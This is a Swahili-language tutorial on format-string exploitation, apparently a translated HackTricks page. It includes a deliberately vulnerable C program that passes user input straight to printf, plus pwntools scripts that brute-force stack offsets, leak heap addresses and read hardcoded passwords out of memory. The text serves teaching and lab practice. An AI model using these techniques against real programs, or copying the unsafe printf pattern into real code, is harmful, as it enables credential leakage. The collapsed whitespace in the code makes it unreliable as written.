from pwn import*p =process('./fs-read')payload =f"%11$s|||||".encode()payload +=p64(0x00400000)p.sendline(payload)log.info(p.clean())
offset ni 11 kwa sababu kuweka A kadhaa na brute-forcing kwa kutumia loop offsets kutoka 0 hadi 50 iligundua kwamba katika offset 11 na herufi 5 za ziada (pipes | katika kesi yetu), inawezekana kudhibiti anwani kamili.
Nilitumia %11$p na padding hadi hivyo kwamba anwani ilikuwa 0x4141414141414141
payload ya format string iko KABLA ya anwani kwa sababu printf inakoma kusoma kwenye byte ya null, hivyo ikiwa tutatuma anwani kisha format string, printf haitafikia kamwe format string kwani byte ya null itapatikana kabla
Anwani iliyochaguliwa ni 0x00400000 kwa sababu ndiko binary inaanzia (hakuna PIE)
Soma nywila
#include<stdio.h>#include<string.h>char bss_password[20] ="hardcodedPassBSS"; // Password in BSSintmain() {char stack_password[20] ="secretStackPass"; // Password in stackchar input1[20], input2[20];printf("Enter first password: ");scanf("%19s", input1);printf("Enter second password: ");scanf("%19s", input2);// Vulnerable printfprintf(input1);printf("\n");// Check both passwordsif (strcmp(input1, stack_password)==0&&strcmp(input2, bss_password)==0) {printf("Access Granted.\n");} else {printf("Access Denied.\n");}return0;}
Tengeneza na:
clang-ofs-readfs-read.c-Wno-format-security
Read from stack
The stack_password itahifadhiwa kwenye stack kwa sababu ni variable ya ndani, hivyo kutumia printf kuonyesha maudhui ya stack inatosha. Hii ni exploit ya BF nafasi 100 za kwanza kuvuja nywila kutoka kwenye stack:
from pwn import*for i inrange(100):print(f"Try: {i}")payload =f"%{i}$s\na".encode()p =process("./fs-read")p.sendline(payload)output = p.clean()print(output)p.close()
Katika picha inawezekana kuona kwamba tunaweza kuvuja nenosiri kutoka kwenye stack katika nafasi ya 10th:
Soma data
Kukimbia exploit ile ile lakini kwa %p badala ya %s inawezekana kuvuja anwani ya heap kutoka kwenye stack katika %25$p. Zaidi ya hayo, kulinganisha anwani iliyovuja (0xaaaab7030894) na nafasi ya nenosiri katika kumbukumbu katika mchakato huo tunaweza kupata tofauti za anwani:
Sasa ni wakati wa kutafuta jinsi ya kudhibiti anwani 1 katika stack ili kuweza kuifikia kutoka kwa udhaifu wa pili wa format string:
from pwn import*defleak_heap(p):p.sendlineafter(b"first password:", b"%5$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)for i inrange(30):p =process("./fs-read")heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")password_addr = heap_leak_addr -0x126aprint(f"Try: {i}")payload =f"%{i}$p|||".encode()payload +=b"AAAAAAAA"p.sendline(payload)output = p.clean()print(output.decode("utf-8"))p.close()
Na inawezekana kuona kwamba katika jaribio 14 na kupitishwa kulikotumika tunaweza kudhibiti anwani:
Exploit
from pwn import*p =process("./fs-read")defleak_heap(p):# At offset 25 there is a heap leakp.sendlineafter(b"first password:", b"%25$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")# Offset calculated from the leaked position to the possition of the pass in memorypassword_addr = heap_leak_addr +0x1f7bcprint(f"Calculated address is: {hex(password_addr)}")# At offset 14 we can control the addres, so use %s to read the string from that addresspayload =f"%14$s|||".encode()payload +=p64(password_addr)p.sendline(payload)output = p.clean()print(output)p.close()